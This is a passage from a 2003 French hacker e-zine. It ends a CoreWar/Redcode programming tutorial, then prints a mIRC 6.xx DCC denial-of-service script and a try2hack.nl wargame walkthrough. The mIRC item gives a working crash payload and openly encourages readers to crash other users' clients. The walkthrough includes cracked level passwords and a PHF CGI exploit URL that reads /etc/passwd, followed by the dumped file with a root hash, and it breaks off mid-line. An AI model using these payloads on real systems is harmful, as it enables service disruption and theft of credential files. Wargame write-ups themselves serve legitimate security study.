@-3 ;bombarde en avant (positivement) mov -5 @-5 ;et en arriere (negativement) jmp -4 Ce Warrior bombarde comme son aine le Bombarder mais au lieu de bombarder dans une seul sens il bombarde dans deux . Bon je crois que j'était clair et simple dans cette partie et que vous avez compris tout ce que je disais car c'était la parti facile donc ne la quitter pas que si vous l'avez tout compris . Ps:Pour la prochaine parti je ne détaillerai pas bc les codes . IIIIIIIIIIIIII / IIIIIIIIIIIIII / III III / III III / Deuxiémme parti : III III / IIIIIIIIIIIIII / IIIIIIIIIIIIII / IV/Mars et le ICWS' 94: 1/MARS : MARS est l'acronyme de Memory Array Redcode Simulator (en FR: Simulateur de Tableau de mémoire RedCode ) , c'est le plus populaire et le premier simulateur de RedCode . MARS est disponible dans plusieurs platform :Dos ,Unix ,Linux ,Mac, mais dans tout les cas sans l'interface graphique et ces jolies bouton, ici tout ce fait depuis la ligne de commande . MARS marche avec la version 94 du RedCode ( ICWS' 94 ) mais il est compatible avec la version 88 (avec l'option -8). La grande différence entre MARS et L'environnement CoreWarrior de Michel CASABIANCA réside dans le syntaxe , donc vous ne pourrez pas utilisez les codes de l'un sur l'autre . Il faut faire quelque changement pour cela (on le verra après). Mais le plus grand Changement de MARS réside qu'il soit Multitâche : Les Warrior commence en une seule tache mais il pourrons après splitter en autre tache après que tout les tache du Warrior seront tue le Warrior sera déclare mort. Remarque : Les sources de MARS sont disponible gratuitement dans le zip pmars08s.zip. 2eme Remarque: La dernière version de MARS date de 95 . a/Installation : Pour installer MARS sous dos c'est tres facile : 1-Telechargez MARS ici : http://www.koth.org/pmars (La derniere version de UNIX est la 0.9 et pour le win c'est la 0.8). 2-Dezzipez le fichier pmars08.zip dans un dossier -pour moi ca sera C:\Mars\). 3-Ouvrez une fenetre DOS et faite CD C:\Mars\ - pour vous sa sera le dossier ou vous l'avez dezzipez). 4-enfin faites : PMARSV [option] Fichier1 Fichier2...Fichier n. pour voir le combat s'executer graphiquement ou : PMARS [option] Fichier1 Fichier2...Fichier n. pour ne voir les resultats du combats. Pour installer MARS sous Linux : Je ne l'ai jamais essayer mais je crois qu'il vous faut Linux SVGA library (libvga) version 1.12 ou plus puis compiler le tout (contenu dans pmars08s.zip) et exécuter. mais je vous conseille de voir le ReadMe (en anglais) pour plus d'information. b/Les Options: (je ne mettrais que les options principale) -r: Nombre de Round a jouer (par defaut 1) -s: La taille de l'arene (par defaut 8000) -c: Nombre de cycle avant la fin du combat (par defaut 80000) -l: La longueure maximale du soldat (par defaut 100) -F: La position du 2eme warrior -e: Activer le debuger (tres tres interressante option) -b: Ne pas afficher les sources -8: Appliquer les regles ICWS'88 c/Utilisation: (tout ce que nous ferions avec MARS sera sous DOS ,ou sous le shell) pmars08.zip est fournis avec quelque code de quelque Warrior connu comme rave ,USELESS,Tornado ou aeka (Tout les Warrior sont les .red) donc on les utilisera pour notre premiere utilisation (bonne phrase;): pmarsv -r 5 -b rave.red aeka.red (faites sa en plain écran sinon vous ne verrez rien) (le -r 5 pour qu'on joue 5 round et le -b pour qu'il ne nous montre pas les sources (c'est chiant)). On clike sur entrer et Boom on vois des 1 ,des ., des - et + le tout coloré en vert et en bleu et apres qu'on clique sur n'importe quelle touche on vois: Rave by Stefan Strack 7 Aeka by T.Hsu 7 Results: 2 2 1 Bon pour que vous comprenez ,les resultas sont affiche dans cet ordre: a b c a: Le nombre de round gagne par le premier Warrior (dans notre example c'est Rave) b: Le nombre de round gagne par le deuxieme Warrior c: Le nombre de round nul Remarque: Si par ex il y a 3 Warrior qui se battent en meme temps (c'est une nouvelle fonctionalite qui n'etait pas presente dans notre premier simulateur) le c sera le nombre de round gagné par le 3eme warrior et le d sera le nombre de round nul). Les Scores sont calculer par cette methode: warrior 1: points = wins1 * F + draw's * F warrior 2: points = wins2 * F + draw's * F (en anglais mais pas tres difficile a comprendre ;) ou F par defaut egale a : (W*W-1)/S ;W=Nombre des Warriors participant et S le nombre de survivant. d/L'interface graphique: En exécutant vos Warrior vous avez remarque les 0, . et 1 colore qui dansent dans l'écran , tout ces caractère signifie une chose : -Toute couleur définie un Warrior (le premier sera le bleu et le deuxième sera le vert) -Les 0 et 1 signifie que le programme a exécuter un instruction dans cette case -Les nombres qui flashe signifie que le Warrior (ou une parti du Warrior) a exécuter dans cette case une instruction illégale - "." Une case qu'on écris sur ou on lis de - "-" Une qu'on décrémente - "+" Une case qu'on ajoute Remarque : L'arène de CoreWar est de 8000 case et l'écran est constitue de 2000 caractère donc tout caractère constitue 4 case (le dernier accès des 4 case est afficher). e/Le débuguer REMARQUE: DANS CETTE PARTI JE NE VAIS QUE VOUS INTRODUIRE LE DEBUGUER DE MARS, JE N'APPROFONDIRAIS PAS DANS SES FONCTIONS. ( PEUT ETRE JE FERAI CA DANS UN AUTRE TUTORIAL ( une autre catastrophe ;). On commence par mettre cela dans imp.red : ;redcode-94 ;name IMP ;author ChaiPo mov 0,1 end puis on execute: pmarsv imp.red -e -s 15 (le -s pour limite l'arène de 15 case pour meilleur lisibilité) Vous pouvez avec les flèches haut et bas navigue dans la mémoire La ligne bleu est celle en cours d'exécution Utilisez s (step) pour exécuter la ligne Utilisez r pour voir la sommaire des registres (vous pouvez voir ici le nombre de vcycle passe, nombre de processus active ,la round..) Utilisez "entrée" au lieu de retaper la dernière commande Utilisez e [case] (edit) pour éditer l'adresse de la case Utilisez c (continue) pour quitter Le débuguer est continue l'exécution normalement Utilisez go pour continuer l'exécution jusqu'a la prochain trace Utilisez fill pour mettre une instruction dans une adresse Utilisez Trace [range] pour mettre un trace (Un Break Point) dans une case Utiliser q pour quitter MARS Utilisez help pour lister les commandes f/Le syntaxe: La première chose qu'il faut savoir que les Warrior (.red) commence par un header: ;redcode-94 (La version de RedCode Utilise) ;name Warrior (Le nom du Warrior) ;author Mr Dupont (L'auteur) ;strategy Carpet-bombing scanner based on Agony and Medusa's \ La strategie ;strategy (written in ICWS'94) / utilisé ;strategy Submitted: @date@ / par le Warrior ;assert CORESIZE==8000 (La taille de l'arène utilise et les autres options nécessitant pour l'exécution normale du warrior) La deuxième changement pour MARS c'est que le A(Field) et le B(Field) sont sépare avec un "," aussi on trouve qu'on peut designer des cases ou nombre par un nom par ex : ---------------------------------------------------------------------- jmp debut ;saute les dat jusqu'a debut Bomb dat 10 ;on va utiliser ce dat pour bombarder debut mov Bomb, @Bomb ; \routine add #10, Bomb ; /de jmp debut ;/ Bombardement end ;fin du Warrior ---------------------------------------------------------------------- Simple, non. Autre chose: on peut donner a des variable un nom avec equ . Le même code devient comme ça : ---------------------------------------------------------------------- x equ #10 jmp debut Bomb dat x debut mov Bomb, @Bomb add x, Bomb jmp debut end ---------------------------------------------------------------------- Ca nous simplifie la vie, non ? On va utilise se qu'on a appris pour refaire L'anti-IMP (vous souvenez de lui ?) ---------------------------------------------------------------------- ;redcode-86 ;name Anti-IMP ;author Mr Dupont ;strategy Bombarder les 20 cases avec des jmp 23 pour que IMP l'exécute ;strategy et tombe sur les dat. ;assert CORESIZE==8000 jmp Debut Bomb jmp 23 Debut mov Bomb, -3 mov Bomb, -5 mov Bomb, -7 mov Bomb, -9 mov Bomb, -11 mov Bomb, -13 mov Bomb, -15 mov Bomb, -17 mov Bomb, -19 mov Bomb, -21 jmp Debut ------------------------------------------------------------------------- Note:J'ai essayer Ce Warrior Contre l'IMP (dans 1000 round) et il a gagné 912 perdu aucune fois et le match etait nul 88 fois. 2/ICWS'94: Beaucoup de changement on etait fait au ICWS'94, je ne vais pas tout les ecrires mais si vous voulez les savoire liser redcode.ref (disponible dans pmars08.zip) . Le premier changement est dans la présence deux valeur a tout instruction ex: dat #15 est dat #0, #15 jmp $15 est jmp $0, $15 Cela aura comme consequence la presence des instructions qui agit sur la premiere valeur ( A-Field ) et d'autre agissant sur la deuxiemme valeur (B-Field),au lieux de cela les createurs du ICWS'94 on eu une idée geniale: Les modifiers . --------------------------------------------------------------- Le syntax d'une ligne de code devient : Label Commande A-Field, B-Field (Une "commande" est une "instruction" basic avec un "modifier".) (Une "field" est une methode d'adressage avec un nombre.) --------------------------------------------------------------- Pour que vous comprenez les modifiers on va voir un example(dwarf): dat.f #0, #12 add.ab #4, $-1 mov.i $-2, @-2 jmp.a $-2, $0 DAT .f Le .f veux dire les deux field mais note que la data est dans la B-Field. ADD .ab Prend le nombre de (A-Field) est l'ajoute au nombre contenu dans la valeur de la (B-Field) est mes le tout dans la (B-Field) MOV .i Le .i veux dire l'instruction complete JMP .a Le .a veux dire que la adresse de destination est dans la (A-Field) Pour que vous comprenez plus voici une démonstration rippée du Steve's Guide for Beginners Iss 6 (v3): st add.a #1, #10 #2, #10 add.ab #1, #10 #1, #11 add.ba #1, #10 #11, #10 add.b #1, #10 #1, #20 add.f #1, #10 #2, #20 add.x #1, #10 #11, #11 add.i #1, #10 #2, #20 add.a $a1, $a2 jmp $ab a1 dat #1, #10 #1, #10 a2 dat #4, #40 #5, #40 ab add.ab $ab1, $ab2 jmp $ba ab1 dat #1, #10 #1, #10 ab2 dat #4, #40 #4, #41 ba add.ba $ba1, $ba2 jmp $b ba1 dat #1, #10 #1, #10 ba2 dat #4, #40 #14, #40 b add.b $b1, $b2 jmp $f b1 dat #1, #10 #1, #10 b2 dat #4, #40 #4, #50 f add.f $f1, $f2 jmp $x f1 dat #1, #10 #1, #10 f2 dat #4, #40 #5, #50 x add.x $x1, $x2 jmp $i x1 dat #1, #10 #1, #10 x2 dat #4, #40 #14, #41 i add.i $i1, $i2 jmp $0 i1 dat #1, #10 #1, #10 i2 dat #4, #40 #5, #50 end st Enfin ,voici la liste complete des modifiers : .A L'instruction lis et ecris sur la (A-Field) .B L'instruction lis et ecris sur la (B-Field) .AB L'instruction lis de la (A-Field) et de la (B-Field) puis ecris dans la (B-Field) .BA L'instruction lis de la (B-Field) et de la (A-Field) puis ecris dans la (A-Field) .F L'instruction lis du A- et B-Field et ecris sur A-et B-Field (de A vers A et de B vers B) .X L'instruction lis du A- et B-Field et ecris sur A-et B-Field (de A vers B et de B vers A) .I L'instruction lis et ecris l'instruction complete Un autre changement dans le ICWS'94 est dans l'apparition de nouvelle methodes d'adressage : < addressage predecrement indirect utilisant la B-field (C'est comme l'adressage indirect mais en plus il decrement la valeur de la B-field ) > adressage postincrement indirect utilisant la B-field (C'est comme l'adressage indirect mais en plus il ajoute 1 la valeur de la B-field ) * adressage indirect utilisant A-field (C'est comme l'adressage indirect mais il utilise la A-field ) { addressage predecrement indirect utilisant la A-field (C'est comme l'adressage predecrement indirect mais au lieux d'utiliser la B-field il utilise la A-Field) } adressage postincrement indirect utilisant la A-field (C'est comme l'adressage postincrement indirect mais au lieux d'utiliser la B-field il utilise la A-Field) Enfin le dernier et le plus important ajout dans l'ICWS'94 est l'ajout de nouvelles instruction : SPL Split le warrior, en produisant un nouveau processus . Remarque:Après avoir splitter votre Warrior en N processus,tout processus s'executera a une vitesse 1/N de la vitesse original si vous ne comprenez pas c'est tout a fait normale ---->c'est pour cela que je vais vous faire un ptit hmm...grand exemple pour vous (ATTENTION J'AI PRIS CETTE EXAMPLE ET SON EXPLICATION DU 1ER NUMERO DE LA NEWSLETTER COREWAR et c'est parce qu'il est vraiment génial): EXAMPLE : ##################################Start################################## start spl 1 mov -1, 0 ;produit 3 processus parallèle silk spl.a @0, 100 ;split mov.i }silk, >silk ;se copie jmp.a silk, }silk ;repéte la meme chose Les premières deux lignes produit 3 processus qui exécute la même ligne l'un après l'autre, puis fasse la même chose avec la suite. La première ligne crée un nouveau processus qui va s'exécuter dans la suivante case (start+1), puis le processus 1 copy la première case (spl 1) avec le mov ,enfin vient le tour du processus 2 qui va générer un 3eme processus dans silk : --------------*pour le prcessus1 #pour le 2 et " pour 3----------------- *spl 1 |spl 1 |spl 1 | On a 3 | mov -1, 0 |*mov -1, 0 |#spl 1 | processus | On génère le 1er |on copy le spl |On génère le| | Processus | |processus 2 | | ------------------------------------------------------------------------ (Je ne vais pas détailler la prochaine section du code mais si vous n'avez pas compris une chose vous pouvez voir le premier numéro de la newsletter CoreWar dans la section Tips&Hints ( C'est en anglais ) ) Après ça le Warrior génère 3 autre processus après 100 cases ou il va recopier son code la bas ( pas tout les lignes mais juste les trois dernière, avant de reprendre son travail dans l'autre place (+100) et continuer a faire cela a l'éternité (quelle fin romantique). ####################################Fin################################## MUL Multiplie A par B, sauve le résultat dans B. DIV Divise B par A, sauve le résultat dans B si A <> 0, sinon termine. MOD Divise B par A, sauve le reste dans B si A <> 0, sinon termine. JMN Saute vers A si B est différent de 0 . DJN Décrémente B, si B est différent de 0, saute vers A. SLT Saute la prochaine instruction si A < B. SEQ Saute la prochaine instruction si A = B. SNE Saute la prochaine instruction si A n'est pas égale a B. NOP No opération ( ne fait rien (un ;) pour les cracker :) ). La dernière chose pour la fin de cette parti : les pseudo-instruction (Traduction de pseudo-OpCode), se sont comme des instructions mais pas des instruction (quelle explication clair!! ;) les voici: ORG start Spécifies le commencement du code (ça peu servir au lieu du jmp des dat) END [start] Fin du code [count] FOR expression répète l'instruction jusqu'a ce que ROF "instruction" aye une valeur de true, le compteur commence depuis 1 est incrément a chaque fois (c'est la même chose que le "for" des autres langages (C, C++, PHP..) Je crois que je n'ai rien oublie, pour la fin (de cette parti (ICWS'94) C'est long, mais c'est nécessaire) je vous conseille de lire RedCode94.ref. 3/KotH: Vous avez appris a faire des Warriors mais maintenant vous voulez participe dans des compétition et défier des autre passionne de ce magnifique jeu : J'ai une solution KotH!!! >>>KotH ,koi ? (Traduit du FAQ) King Of The Hill (KotH) est une compétition (Championnat) valable pour tout le monde par email. vous pouvez entrer en envoyant un email avec votre Warrior en RedCode vous recevrez un reply avec les résultats de votre Warrior contre les autres Warrior de la Compétition Il y'a deux style de championnat de KotH : #Classique: Les match (ou combats) ce fait avec 2 Warrior, votre Warrior jouera 100 combats contre 20 autres Warrior qui sont dans la compétition Vous recevez 3pts quand vous gagnez 1pts au cas du nulle et rien si vous perdez . Apres tout round les scores sont refrechis, les Warrior sont mis du haut vers le bas si vous avez la 21eme place vous serez kiker du Hill (Championnat) #Multi-Warrior: Dans ce style tout les warriors se combatte en même temps les scores sont calcule complexement, Bref les point sont calcule a partir de nombre des warriors qui reste vivant après la fin du round URL: http://www.koth.org/ Email (ou vous envoierez votre Warrior's): koth@koth.org ATTENTION: Pour être accepter il faut que les warrior's envoyer a KotH aie un header (le truc du type: ;redcode-94 (La version de RedCode Utilise) ;name Warrior (Le nom du Warrior) .... (Revenez a la page 15) IIIIIIIIIIIIIIIIIIIII / IIIIIIIIIIIIIIIIIIIII / III III III / III III III / Troisiéme partis : III III III / IIIIIIIIIIIIIIIIIIIII / IIIIIIIIIIIIIIIIIIIII / I/References: (Beaucoup de parti de mon article son traduit de ses references) corewarrior.pdf (la newsletter) faq.pdf (La FAQ officielle du CoreWar) hints.pdf introintoart88.pdf genetic.pdf newsletter.pdf (une autre newsletter) tutor.pdf (Beginner's guide to RedCode 1) tutor2.pdf (Beginner's guide to RedCode 2) SGB.pdf (Steve's Guide For Biginer Iss) www.koth.org (Vous trouvez tous ici) II/Conclusion : Ouf, j'ai fini, Beaucoup de chose sont change depuis que j'ai commence a ecrire cette article, (J'ai change de ptit amis, appris le PHP et lu la nouvelle PcTeam lol) par ex au commencement (je ne me souviens pas de date precise mais je crois que ça fait a peu près un mois ou 1 mois et 1/2) j'avais l'idée de faire un p'tit article sur CoreWar ,une introduction pour secouer la curiosité du lecteur :) et a la fin je me retrouve avec un long tutorial de 22 pages, putin 22 pages , j'ai toujours pas compris comment j'ai ecris-traduit tout ça, au commencement je croyais qu'écrire un article est une simple chose de 5mn ou 10 mais maintenant j'ai compris que c'est une chose très fatigante mais vraiment TRES FATIGENTE ET DIFFICILE ,pour la fin je souhaite que quelqu'un s'intéresse a mon article ,qu'il soit pris par un zine (MindKind ou IOC par ex) ,que je reçois des email remplis de question de soutient a mon adresse ( seriousman@altern.org ) , car sinon sa serai vraiment chiant enfin je remercie Winamp et tout mais mp3 pour leur précieux soutient (Avril Lavigne, Children Of Bodom, TaTu, Red Hot Chilly Pepers, OffSpring, KorN..) A+ III/Thankz: #hianda ,#newffr, #immortal-hack, #activism, madchat.org, Shmeitcorp, TNT (pour l'idee) newshackers.com, jeuxvideos.com, PcTeam , attilajc, MrPhilex.org , Apoclypse, IOC, DeathlyBy , HackOff , KcP , Turlututu Trax0r, Zamer, MindKind, Exces, Billou, mamere .... et tout ceux que j'ai oublie . Ecris Par SeriousMan ------------------------------------------------------------------------- Cesse de chercher ta place dans ta vie, ta place te cherche. __Kalif Ali .----- - -----------------------. | /MinDKinD100 .---'----------- ---------- ------- ------. '-------- - -------------- -| seriousman@altern.org | '-------- - ----------- ------------ -----' Warning : Mirc 6.xx Denial of Service in DCC modules. Récemment est sorti un D.o.S contre les capacités DCC de mIRC 6.xx la faille plutôt simple fait tout simplement planter mIRC. Pour vous en protéger, vous n'avez qu'a ignorer tout vos DCC (/ignore -wd *) ou a downloader le script accessible via l'adresse http suivante : http://perso.wanadoo.fr/fred74-/exploit.html ou plus directement http://membres.lycos.fr/james3950/patch/patcherreurirc.ini Hint supplémentaire, si vous avez ignoré -wd *, on peut faire exception avec /ignore -x nickname Si votre dada c'est plus de faire planter le monde, voici une représentation en mIRC script de la dite faille : /.raw PRIVMSG $nick : $+ $chr(1) $+ DCC SEND "a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a" 6666666666 66666 $+ $chr(1) Evidemment la faille a été utilisée massivement, il est donc probable que un très bon pourcentage de gens (surtout les gens important) soit patché d'une façon ou d'une autre d'ici très peu de temps si ce n'est déjà fait a la parution de ce ezine, mais Internet étant un vaste endroit, vous trouverez sûrement 1 ou 2 tata pour vous amusez quelque 10 minutes entre 2 lignes de code. .-----------[MinDKinD100\#100.03]------- ----------. [M]ind[K]ind #100 | ; | - 23/08/03 | . try2hack.nl | - [FunkY] | aka '------------- ----. | try2hack.nll | | _____ ; | '--------------------- ------[again, again n again.]---- -------- ----' Try2hack.nl Walkthrough by funky@mindkind.org -=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Level 1: Ma grand-mere peut hacker aussi. -=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Un view source suffit: -=[ level1.html ]=- -=[ end ]=- AbCdE ca marche pas non....abcde non plus et ABCDE non plus, et disney ca suck. Y'a une ligne que j'avais pas vue la premiere fois qui est: --http://www.try2hack.nl/levels/JavaScript-- PASSWORD = "try2hackrawks"; CORRECTSITE = "level4-kdnvxs.xhtml"; WRONGSITE = "http://www.disney.com"; -------------------------------------------- Ah...la ca marche...yeah! -=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Level 4: applets reverse engineering -=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Ya juste une ligne de cool dans cette page la qui est: meme pas besoin de wget pour la grabber: www.try2hack.nl/levels/PasswdLevel4.class Hex editer la .class ca ma rien donner d'interessant a part l'idee de me rouler un ptit bat avant de continuer ce challange la... Ce qui ma donner l'idee de googler: "java decompiler" qui a ensuite donne ca: http://download.com.com/3002-2417-10146169.html?tag=dir C'est finalement JAD avec un front-end plutot amical t-k, je sais pas si c'est moi, mais le java c'est laite apres un spliff... Y'a encore une fois juste une ligne qui est relativement cool dans le script: infile = new String("level4"); -=[ http://www.try2hack.nl/levels/level4 ]=- level5-fdvbdf.xhtml appletking pieceofcake -=[ gah ]=- -=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Level 5: VB 3.0 Reverse Engineering -=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Download: http://www.try2hack.nl/levels/level5.zip contient: level5.exe -> leet vb3 code level5.txt -> une des raisons majeur qui fait que VB ca suce. Yup, VB3 store les strings en clear text. Si vous hexediter level5.exe comme les leets que vous etes ca va donner quelque chose d'interessant qui ressemble a ca: -----------ClearText du .EXE interessant--------- http://www.try2hack.nl/levels/level6-ksghvb.xhtml txtUsername=AlmostAHacker txtPassword=ZqrE01A2d ------------------------------------------------- Le URL vous donne: Not Level 6, Search Harder Donc...tristement il va falloir le Reverse Engineerer pour vrai...dommage mais bon. J'y suis aller dans le simple, j'aurais pu me servir de softice, mais il est tard et je suis frost, donc jme suis dit que le kit de DoDi ferrait l'affaire, pis sinon ben que j'allais me coucher pis fuck that. DoDi's VB tool box: google -> vbdis26e.zip Une fois reversed ca donne genre 4-5 files approximativement: ---------LEVEL5.MAK------------- LEVEL5.FRM main.txt Module1.BAS Title="LEVEL5" ExeName="level5.exe" -------------------------------- -------Module1.BAS-------------- ' Module1 Option Explicit Const c000A = " txtUsername=AlmostAHacker " Const c000E = " txtPassword=ZqrE01A2d " -------------------------------- -----MAIN.TXT-------------------- ' main.txt - global definitions Global Const gc0006 = "0123456789abcdefghijklmnopqrstuvwxyzABCDEF" "GHIJKLMNOPQRSTUVWXYZ.,:;-*+=~|&!_$#@()[]{}<\/>" Global Const gc000A = "http://www.try2hack.nl/levels/level6-ksghvb.xhtml" --------------------------------- ------LEVEL5.BAS---------------- ' LEVEL5.FRM Option Explicit Sub cmdLogin_Click () If edtUsername = Mid(gc0006, 56, 1) & Mid(gc0006, 28, 1) & Mid(gc0006, 35, 1) & Mid(gc0006, 3, 1) & Mid(gc0006, 44, 1) & Mid(gc0006, 11, 1) & Mid(gc0006, 13, 1) & Mid(gc0006, 21, 1) Then If edtPassword = Mid(gc0006, 45, 1) & Mid(gc0006, 48, 1) & Mid(gc0006, 25, 1) & Mid(gc0006, 32, 1) & Mid(gc0006, 15, 1) & Mid(gc0006, 40, 1) & Mid(gc0006, 25, 1) & Mid(gc0006, 14, 1) & Mid(gc0006, 19, 1) Then MsgBox "Level 6 can be found at: " & Left$(gc000A, 37) & Mid(gc0006, 21, 1) & Mid(gc0006, 14, 1) & Mid(gc0006, 29, 1) & Mid(gc0006, 32, 1) & Mid(gc0006, 12, 1) & Mid(gc0006, 14, 1) & Mid(gc000A, 44, 6), 0, "Horray!" End End If End If MsgBox "Invalid username and/or password!", 0, "ERROR!" End Sub Sub Form_Load () Me.Move (Screen.Width - Me.Width) / 2, (Screen.Height - Me.Height) / 2 End Sub --------------------------------- La partie interessante est evidement la fonction cmdLogin_Click(). gc0006 est dans MAIN.TXT, et pour builder le username/pass/url on a juste a faire de la substitution comme ca genre: Mid(gc006, 56, 1) = la string gc0006 position 56 (1 char) = T pos 28 = r pos 35 = y ...get it? ok, donc... Username: Try2Hack Password: ILoveDodi (yup, le dodi de notre toolbox) URL : http://www.try2hack.nl/levels/level6-kdsvbd.xhtml (le code fait juste changer les 6 lettres..yeah) -=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Level 6: Une ligne pour celebre ca :S\______ -=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Vous avez besoin de: -> level6.zip (qui contient encore un VB proggy, 6.0 cette fois) -> Un packet sniffer (pourquoi pas la bin win32 de snort?) =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ La partie la plus interessante du snifF: =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 08/20-20:23:43.136307 0:0:0:0:0:0 -> 0:5:5D:FF:67:BE type:0x800 len:0xB6 0.0.0.0:3118 -> 62.192.127.200:80 TCP TTL:128 TOS:0x0 ID:32340 IpLen:20 DgmLen:168 DF ***AP*** Seq: 0x9551624 Ack: 0x705729F8 Win: 0x2DA0 TcpLen: 20 47 45 54 20 2F 6C 65 76 65 6C 73 2F 6C 65 76 65 GET /levels/leve 6C 36 2E 64 61 74 61 20 48 54 54 50 2F 31 2E 31 l6.data HTTP/1.1 0D 0A 48 6F 73 74 3A 20 77 77 77 2E 74 72 79 32 ..Host: www.try2 68 61 63 6B 2E 6E 6C 0D 0A 43 6F 6E 6E 65 63 74 hack.nl..Connect 69 6F 6E 3A 20 63 6C 6F 73 65 0D 0A 55 73 65 72 ion: close..User 2D 41 67 65 6E 74 3A 20 54 72 79 32 48 61 63 6B -Agent: Try2Hack 20 6C 65 76 65 6C 20 36 20 63 6C 69 65 6E 74 0D level 6 client. 0A 41 63 63 65 70 74 3A 20 2A 2F 2A 0D 0A 0D 0A .Accept: */*.... =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ Donc, le programme a un certain moment fait un: GET /levels/level6.data pourquoi? let's see: ------------[Level6.Data]------------- (ENCRYPTION TYPE) B*C*N**N (USERNAME) aaabb aaaaa aaaab abbab ababb aaaab (PASSWORD) aabaa abbaa aaaba baaaa babba abbba baaba abaaa abbab abbaa baaaa aaaaa babaa abaab baaab (PAGE) babab aabab abaab abbab aabbb aaaba --------------------------------------- En cherchant un peu, vous auriez evidement trouver que c'est une encryption baconian (uniquement le premier niveau, les dudes de try2hack, on ete genereux) Ce qui explique B*C*N**N, je croyais que c'etais une formule mathematique genre B(C(N^N)) au debut mais bon, il suffit de faire une substitution selon la table suivante: A = aaaaa E = aabaa I/J= abaaa N = abbaa R = baaaa W = babaa B = aaaab F = aabab K = abaab O = abbab S = baaab X = babab C = aaaba G = aabba L = ababa P = abbba T = baaba Y = babba D = aaabb H = aabbb M = ababb Q = abbbb U/V= baabb Z = babbb Ce qui donne en bout de ligne: Username: DABOMB Password: ENCRYPTIONRAWKS level 7 : XFKOHC (http://www.try2hack.nl/levels/level7-xfkohc.php) -=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Level 7: MSIE 7.66 sous linux de chez m$ -=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Contient 3 test: Test #1: Browser check: Sorry, but you must use Microsoft Internet Explorer 7.66 Test #2: OS check: Must be using Unix or Linux Test #3: You must come from www.microsoft.com/ms.htm --------------RFC 1945-------------------------------------------------------------- 10.15 User-Agent Le champ d'en-tête User-Agent (requête) contient des informations sur l'utilisateur émetteur de la requête. Cette information est utilisée à des fins statistiques, pour tracer des violations de protocole, et à des fins de reconnaissance automatique d'utilisateur permettant de formater la réponse de la manière la plus adaptée. L'usage de ce champ, bien que non indispensable, est cependant conseillé. Le champ User-Agent peut mentionner plusieurs noms de produits (Section 3.7) ainsi que des commentaires identifiant le programme ou des sous-composants de ce programme dans la mesure où ceux-ci peuvent être significatifs pour le serveur. Par convention, ces informations sont listées par ordre d'importance. User-Agent = "User-Agent" ":" 1*( produit | commentaires ) Exemple: User-Agent: CERN-LineMode/2.15 libwww/2.17b3 10.13 Referer Le champ d'en-tête Referer (requête) permet au client d'indiquer, à l'usage du serveur, l'adresse (URI) de la ressource dans laquelle l'URI-visée a été trouvée. Ceci permet au serveur de générer et entretenir des listes de "rétro-liens" destinées à renseigner les clients futurs sur des "sites intéressants", ou à but d'archivage et d'analyse, optimisation de cache, etc. Il permet aussi l'analyse de liens obsolètes ou de type incorrect à but de maintenance. Le champ Referer ne doit pas être inscrit si la source de l'URI-visée provient d'une entité n'ayant pas d'URI propre, comme l'entrée de l'adresse via un clavier. Referer = "Referer" ":" ( URI_absolue | URI_relative ) Exemple: Referer: http://www.w3.org/hypertext/DataSources/Overview.phpl ------------------------------------------------------------------------------------ telnet www.try2hack.nl 80 Parter un session log (pour avoir le output du GET) et tapper ca: GET http://www.try2hack.nl/levels/level7-XFKOHC.php HTTP/1.0 User-Agent: MSIE 7.66/LINUX Referer: http://www.microsoft.com/ms.htm Le logged session contient le URL: level8-balnrg.xhtml -=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Level 8: Old skewl PHF -=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Je dois avouer que ce niveau la ma rendu nostalgique un peu, la faille etait tres populaire dans les annee 90. Le fbi, c'est d'ailleurs fait 'owner' grace a ce truc la...HAHAHAHA. Pour l'exploiter: http://www.try2hack.nl/cgi-bin/phf?Qalias=/bin/cat%20/etc/passwd ce qui vous donne: -------------meme pas shadower...c'est votre jour de chance------------------ root:i1xC4sSrfP/oY:0:0::0:0:Charlie &:/root:/usr/local/bin/bash daemon:*:1:1::0:0:Owner of many system processes:/root:/sbin/nologin operator:*:2:5::0:0:System Operator:/:/sbin/nologin bin:*:3:7::0:0:Binaries Commands and Source:/:/sbin/nologin tty:*:4:65533::0:0:Tty Sandbox:/:/sbin/nologin kmem:*:5:65533::0:0:KMem Sandbox:/:/sbin/nologin games:*:7:13::0:0:Games pseudo-user:/usr/games:/sbin/nologin news:*:8:8::0:0:News Subsystem:/:/sbin/nologin man:*:9:9::0:0:Mister Man Pages:/usr/share/man:/sbin/nologin sshd:*:22:22::0:0:Secure Shell Daemon:/var/empty:/sbin/nologin smmsp:*:25:25::0:0:Sendmail Submission User:/var/spool/clientmqueue:/sbin/nologin mailnull:*:26:26::0:0:Sendmail Default User:/var/spool/mqueue:/sbin/nologin bind:*:53:53::0:0:Bind Sandbox:/:/sbin/nologin uucp:*:66:66::0:0:UUCP pseudo-user:/var/spool/uucppublic:/usr/libexec/uucp/uucico xten:*:67:67::0:0:X-10 daemon:/usr/local/xten:/sbin/nologin pop:*:68:6::0:0:Post Office 